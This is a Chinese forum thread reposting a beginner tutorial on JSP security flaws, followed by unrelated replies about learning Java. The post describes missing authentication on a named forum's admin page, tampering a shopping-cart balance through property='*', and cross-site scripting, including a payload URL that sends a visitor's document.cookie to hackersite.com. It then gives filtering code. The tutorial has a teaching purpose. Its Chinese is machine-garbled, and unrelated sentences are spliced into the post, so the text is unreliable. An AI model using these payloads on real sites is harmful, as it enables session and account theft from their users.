仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 502|回复: 11
打印 上一主题 下一主题

[学习教程] JAVA教程之JSP平安编程实例浅析(中级)1

[复制链接]
分手快乐 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-18 11:28:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
用winrar打包j2ee的程序和用IDE打包应用程序是一样的。按照你的想法,你是不是也希望服务器都整合由一家公司提供呢?js|平安|编程JavaServerPage(JSP)作为创建静态网页的手艺正在不休升温。JSP和ASP、PHP、事情机制不太一样。一样平常说来,JSP页面在实行时是编译式,而不是注释式的。初次挪用JSP文件实际上是实行一个编译为Servlet的历程。当扫瞄器向服务器哀求这一个JSP文件的时分,服务器将反省自前次编译后JSP文件是不是有改动,假如没有改动,就间接实行Servlet,而不必再从头编译,如许,效力便失掉了分明进步。

明天我将和人人一同从剧本编程的角度看JSP的平安,那些诸如源码表露类的平安隐患就不在这篇文章会商局限以内了。写这篇文章的次要目标是给初学JSP编程的伴侣们提个醒,从一入手下手就要培育平安编程的认识,不要犯不应犯的毛病,制止能够制止的丧失。别的,我也是初学者,若有毛病或别的定见请见教。

1、认证不严――初级掉误

在溢洋论坛v1.12修改版中,user_manager.jsp是用户办理的页面,作者晓得它的敏理性,加上了一把锁:

if((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││
(!session.getValue("UserClass").equals("体系办理员")))
{
response.sendRedirect("err.jsp?id=14");
return;
}



假如要检察、修正某用户的信息,就要用modifyuser_manager.jsp这个文件。办理员提交http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51

就是检察、修正ID为51的用户的材料(办理员默许的用户ID为51)。可是,云云主要的文件竟缺少认证,一般用户(包含旅客)也间接提交上述哀求也能够对其一清二楚(暗码也是明文存储、显现的)。modifyuser_manage.jsp一样是流派年夜开,直到歹意用户把数据更新的操纵实行终了,重定向到user_manager.jsp的时分,他才会瞥见谁人捷足先登的显现毛病的页面。明显,只锁一扇门是远远不敷的,编程的时分必定要诲人不倦地为每个该加身份认证的中央加下身份认证。

2、守好JavaBean的出口

JSP组件手艺的中心是被称为bean的java组件。在程序中可把逻辑把持、数据库操纵放在javabeans组件中,然后在JSP文件中挪用它,如许可增添程序的明晰度及程序的可重用性。和传统的ASP或PHP页面比拟,JSP页面长短常简便的,由于很多静态页面处置历程能够封装到JavaBean中。

要改动JavaBean属性,要用到“”标志。上面的代码是设想的某电子购物体系的源码的一部分,这个文件是用来显现用户的购物框中的信息的,而checkout.jsp是用来结帐的。

<jsp:useBeanid="myBasket"class="BasketBean">
<jsp:setPropertyname="myBasket"property="*"/>
<jsp:useBean>
<html>
<head><title>YourBasket</title></head>
<body>
<p>
Youhaveaddedtheitem
<jsp::getPropertyname="myBasket"property="newItem"/>
toyourbasket.
<br/>
Yourtotalis$
<jsp::getPropertyname="myBasket"property="balance"/>
Proceedto<ahref="checkout.jsp">checkout</a>



注重到property="*"了吗?这标明用户在可见的JSP页面中输出的,或是间接经由过程QueryString提交的全体变量的值,将存储到婚配的bean属性中。

一样平常,用户是如许提交哀求的:http://www.somesite.com/addToBasket.jsp?newItem=ITEM0105342可是不守礼貌的用户呢?他们大概会提交:http://www.somesite.com/addToBasket.jsp?newItem=ITEM0105342&balance=0

如许,balance=0的信息就被在存储到了JavaBean中了。当他们这时候点击“chekout”结账的时分,用度就全免了。

这与PHP中全局变量招致的平安成绩一模一样。因而可知:“property="*"”必定要慎用!

3、长盛不衰的跨站剧本

跨站剧本(CrossSiteScripting)打击是指在远程WEB页面的HTML代码中手拔出歹意的JavaScript,VBScript,ActiveX,HTML,或Flash等剧本,夺取扫瞄此页面的用户的隐私,改动用户的设置,损坏用户的数据。跨站剧本打击在多半情形下不会对服务器和WEB程序的运转形成影响,但对客户真个平安组成严峻的威逼。

以仿动网的阿菜论坛(beta-1)举个最复杂的例子。当我们提交http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie)便能弹出包括本人cookie信息的对话框。而提交http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location=http://www.ckuyun.com就可以重定向到网易。

因为在前往“name”变量的值给客户端时,剧本没有举行任何编码或过滤歹意代码,当用户会见嵌进歹意“name”变量数据链接时,会招致剧本代码在用户扫瞄器上实行,大概招致用户隐私保守等成果。好比上面的链接:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location=http://www.hackersite.com/xxx.xxx?+document.cookie

xxx.xxx用于搜集后边跟的参数,而这里参数指定的是document.cookie,也就是会见此链接的用户的cookie。在ASP天下中,良多人已把偷cookie的手艺练得出神入化了。在JSP里,读取cookie也不是难事。固然,跨站剧本历来就不会范围于偷cookie这一项功效,信任人人都有必定懂得,这里就不睁开了。

对一切静态页面的输出和输入都应举行编码,能够在很年夜水平上制止跨站剧本的打击。遗憾的是,对一切不成信数据编码是资本麋集型的事情,会对Web服务器发生功能方面的影响。经常使用的手腕仍是举行输出数据的过滤,好比上面的代码就把伤害的字符举行交换:

<%Stringmessage=request.getParameter("message");
message=message.replace(<,_);
message=message.replace(>,_);
message=message.replace(",_);
message=message.replace(,_);
message=message.replace(%,_);
message=message.replace(;,_);
message=message.replace((,_);
message=message.replace(),_);
message=message.replace(&,_);
message=message.replace(+,_);%>



更主动的体例是使用正则表达式只同意输出指定的字符:

publicbooleanisValidInput(Stringstr)
{
if(str.matches("[a-z0-9]+"))returntrue;
elsereturnfalse;
}


首先第一点:jsp,servlet,javabean这些最基本的,嘿嘿,就算你是高手的话,在大行的企业级应用的话还是需要框架的,一个好的框架确实能构解决许多问题。
老尸 该用户已被删除
沙发
发表于 2015-1-21 07:45:59 | 只看该作者
Java是一种计算机编程语言,拥有跨平台、面向对java
深爱那片海 该用户已被删除
板凳
发表于 2015-1-26 22:59:41 | 只看该作者
你现在最缺的是实际的工作经验,而不是书本上那些凭空想出来的程序。
柔情似水 该用户已被删除
地板
发表于 2015-1-28 07:56:42 | 只看该作者
有时间再研究一下MVC结构(把Model-View-Control分离开的设计思想)
冷月葬花魂 该用户已被删除
5#
发表于 2015-2-5 13:00:34 | 只看该作者
一般学编程语言都是从C语开始学的,我也不例外,但还是可能不学过程语言而直接学面向对象语言的,你是刚接触语言,还是从C开始学比较好,基础会很深点,如果你直接学习JAVA也能上手,一般大家在学语言的时候都记一些语言的关键词,常有的包和接口等。再去做逻辑代码的编写,以后的学习过程都是从逻辑代码编写中提升的,所以这方面都是经验积累的。你要开始学习就从
蒙在股里 该用户已被删除
6#
发表于 2015-2-11 21:08:03 | 只看该作者
是一种语言,用以产生「小应用程序(Applet(s))
因胸联盟 该用户已被删除
7#
发表于 2015-2-27 05:10:26 | 只看该作者
其实说这种话的人就如当年小日本号称“三个月拿下中国”一样大言不惭。不是Tomjava泼你冷水,你现在只是学到了Java的骨架,却还没有学到Java的精髓。接下来你得研究设计模式了。
只想知道 该用户已被删除
8#
发表于 2015-3-8 21:51:50 | 只看该作者
在全球云计算和移动互联网的产业环境下,Java更具备了显著优势和广阔前景。
变相怪杰 该用户已被删除
9#
发表于 2015-3-9 12:23:06 | 只看该作者
一直感觉JAVA很大,很杂,找不到学习方向,前两天在网上找到了这篇文章,感觉不错,给没有方向的我指了一个方向,先不管对不对,做下来再说。
10#
发表于 2015-3-11 17:30:33 | 只看该作者
任职于太阳微系统的詹姆斯·高斯林等人于1990年代初开发Java语言的雏形,最初被命名为Oak,目标设置在家用电器等小型系统的程序语言
若相依 该用户已被删除
11#
发表于 2015-3-19 03:38:01 | 只看该作者
是一种使用者不需花费很多时间学习的语言
分手快乐 该用户已被删除
12#
 楼主| 发表于 2015-3-27 04:09:20 | 只看该作者
自从Sun推出Java以来,就力图使之无所不包,所以Java发展到现在,按应用来分主要分为三大块:J2SE,J2ME和J2EE,这也就是Sun ONE(Open Net Environment)体系。J2SE就是Java2的标准版,主要用于桌面应用软件的编程;J2ME主要应用于嵌入是系统开发,如手机和PDA的编程;J2EE是Java2的企业版,主要用于分布式的网络程序的开发,如电子商务网站和ERP系统。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-24 00:53

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表